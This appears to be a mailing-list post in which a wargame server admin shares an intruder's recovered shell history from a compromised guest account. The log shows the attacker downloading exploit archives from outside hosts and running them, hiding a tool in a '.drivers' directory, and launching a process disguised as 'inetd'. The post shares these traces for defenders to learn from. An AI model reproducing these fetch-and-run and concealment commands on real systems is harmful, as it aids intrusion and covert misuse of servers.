Greetings list,

Accidentially sent only to Stefan, so redoing it.

I got a similar experience from a game box I look after 
(void.labs.pulltheplug.com, but people may prefer
http://vortex.labs.pulltheplug.com, feel free to jump on the irc server @ 
irc.pulltheplug.com, #social or #vortex).

The .bash_history is as follows:

passwd
uname -a
cat /etc/issue
w
/sbin.ifconfig
/sbin/ifconfig
wget sh3ll.info/milenium/xpl.tgz;tar zxvf xpl.tgz;cd super;./prt
ftp ftp.sh3ll.info
lynx
lynx www.sh3ll.info/milenium/xpl.tgz
ls
ls -alF
tar zxv xpl.tgz
tar zxvf xpl.tgz
cd supe`
cd super
./prt
lynx mil3nium.go.ro/milenium
lynx mil3nium.go.ro/
ncftp
ncftpget
lynx sh3ll.info/milenium/milenium
ls
ls -alF
ps -aux |grep test
lynx sh3ll.info/milenium/psy1985.tgz
mkdir .drivers
mv psy1985.tgz .drivers
cd .drivers
tar zxvf psy1985.tgz
rm -rf psy1985.tgz
cd nsmail/
PATH='.:$PATH'
inetd -e -o

It would appear that if they can't get a local root, they'll use the box for
IRCing from.

Hopefully this helps someone. I haven't looked too much into this, if wanted
I could grab the source ip addresses used for logging into guest, but thats
probably not overly useful.

Thanks,
Andrew Griffiths
